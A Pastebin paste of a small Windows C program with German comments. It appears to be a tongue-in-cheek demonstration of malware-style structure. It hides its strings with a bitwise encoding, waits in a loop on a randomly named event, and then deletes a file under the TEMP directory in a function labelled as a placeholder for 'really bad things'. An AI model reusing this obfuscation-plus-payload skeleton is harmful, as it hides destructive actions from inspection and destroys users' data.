Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <string.h>
- #include <stdlib.h>
- #undef UNICODE
- #include <windows.h>
- #pragma comment(lib, "bcrypt.lib")
- #include <bcrypt.h>
- #define MEIN_TIMEOUT 2000
- // das als String niederzuschreiben wäre einfacher gewesen
- static const char strings[][60] = {
- {0xbb,0x99,0x94,0x8e,0xdb,0xa7,0x80,0x85,0x83,0x91,0x88,0xd4,0x8a,0x7f,0x7d,0xd0,0x75,0x79,0xcd,0x8a,0x86,0x82,0x80,0x7a,0x83,0x81,0x73,0x70,0xb7,0xc2,0x6c,0x73,0xbf,0x84,0x68,0x76,0x7a,0x6e,0x6d,0x65,0x73,0x75,0x61,0x6f,0x65,0xb2,0x57,0x5b,0xaf,0x69,0x5b,0x52,0x66,0x55,0x62,0x63,0x59, 0},
- {0xbb,0x99,0x94,0x8e,0xdb,0xa7,0x80,0x85,0x83,0x91,0x88,0xd4,0x8a,0x7f,0x7d,0xd0,0x75,0x79,0xcd,0x87,0x7d,0x76,0x77,0x79,0x77,0x7d,0x80,0x71,0x73,0x81,0x6f,0x6d,0x7e,0x71,0xbd,0x76,0xdf,0x68,0xb9,0xa0,0xb7,0x94,0x5c,0x60,0x6e,0x5f,0xb1,0x76,0x5a,0x68,0x6c,0x60,0x5f,0x57,0x65,0x67,0x53,0x61,0x57, 0},
- {0xa8,0x95,0x8f,0x98,0x8c,0x83,0x86,0xd8,0x8e,0x83,0x81,0xd4,0x92,0x84,0x8d,0x8b,0x7d,0x77,0x88,0x83,0x77,0x81,0x82,0xc8,0x7c,0x85,0x75,0x6f,0x6f,0x6e, 0},
- {0xab,0xb9,0xb0,0xac, 0},
- {0xa3,0xb8,0xa5,0xa9,0xba,0xaa,0xb0,0xb4,0x92,0x94,0x80,0x8d,0xa7,0x83,0x8a,0xaa,0x86,0x82,0x88,0xbe,0x77,0x72,0x75, 0},
- {0xb3,0x8f,0x9a,0x9b,0x8f,0x9e,0xb4,0x82,0x92,0x88,0x81,0x95, 0}
- };
- static char *geheimNachricht(int i) {
- char *kopie = strdup(strings[i]);
- if (!kopie) return NULL;
- unsigned laenge = strlen(kopie);
- for (unsigned off = 0; off < laenge; off++) {
- kopie[off] = ~kopie[off] - off;
- }
- return kopie;
- }
- static void zeigeGeheimNachricht(int i) {
- char *ungeheim = geheimNachricht(i);
- if (!ungeheim) return;
- MessageBox(NULL, ungeheim, NULL, MB_ICONERROR);
- // wir sind professionell und räumen vor Programmende niemals auf
- }
- static HANDLE gibMirEinNutzlosesEvent() {
- BCRYPT_ALG_HANDLE datenWurstpresse;
- ULONGLONG esIstEinMysterium;
- char eventName[13 + sizeof(ULONGLONG)];
- HANDLE event;
- strcpy(eventName, geheimNachricht(5));
- eventName[sizeof(eventName) - 1] = 0;
- if (BCryptOpenAlgorithmProvider(&datenWurstpresse, BCRYPT_RNG_ALGORITHM, NULL, 0)) {
- zeigeGeheimNachricht(0);
- exit(1);
- }
- if (BCryptGenRandom(datenWurstpresse, (PUCHAR) &esIstEinMysterium, sizeof(ULONGLONG), 0)) {
- zeigeGeheimNachricht(1);
- exit(1);
- }
- esIstEinMysterium |= 0x4040404040404040L;
- esIstEinMysterium &= 0x7777777777777777L;
- memcpy(eventName + 12, &esIstEinMysterium, sizeof(esIstEinMysterium));
- // würde man im Ernstfall entweder unbenannt lassen, oder einen von außen erratbaren Namen geben
- if (!(event = CreateEvent(NULL, TRUE, FALSE, eventName))) {
- zeigeGeheimNachricht(2);
- exit(1);
- }
- BCryptCloseAlgorithmProvider(datenWurstpresse, 0);
- return event;
- }
- static void macheSchlimmeDinge() {
- // Platzhalter für wirklich schlimme Dinge
- char ueblicherDepp[MAX_PATH + 1];
- char *ungeheim1, *ungeheim2;
- if (!(ungeheim1 = geheimNachricht(3)) || !(ungeheim2 = geheimNachricht(4))) return;
- if (!GetEnvironmentVariable(ungeheim1, ueblicherDepp, MAX_PATH + 1)) return;
- strcat(ueblicherDepp, ungeheim2);
- DeleteFile(ueblicherDepp);
- }
- int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
- // halt die Kresse
- (void)hInstance;(void)hPrevInstance;(void)lpCmdLine;(void)nShowCmd;
- HANDLE event = gibMirEinNutzlosesEvent();
- while (WaitForSingleObject(event, MEIN_TIMEOUT));
- CloseHandle(event);
- macheSchlimmeDinge();
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement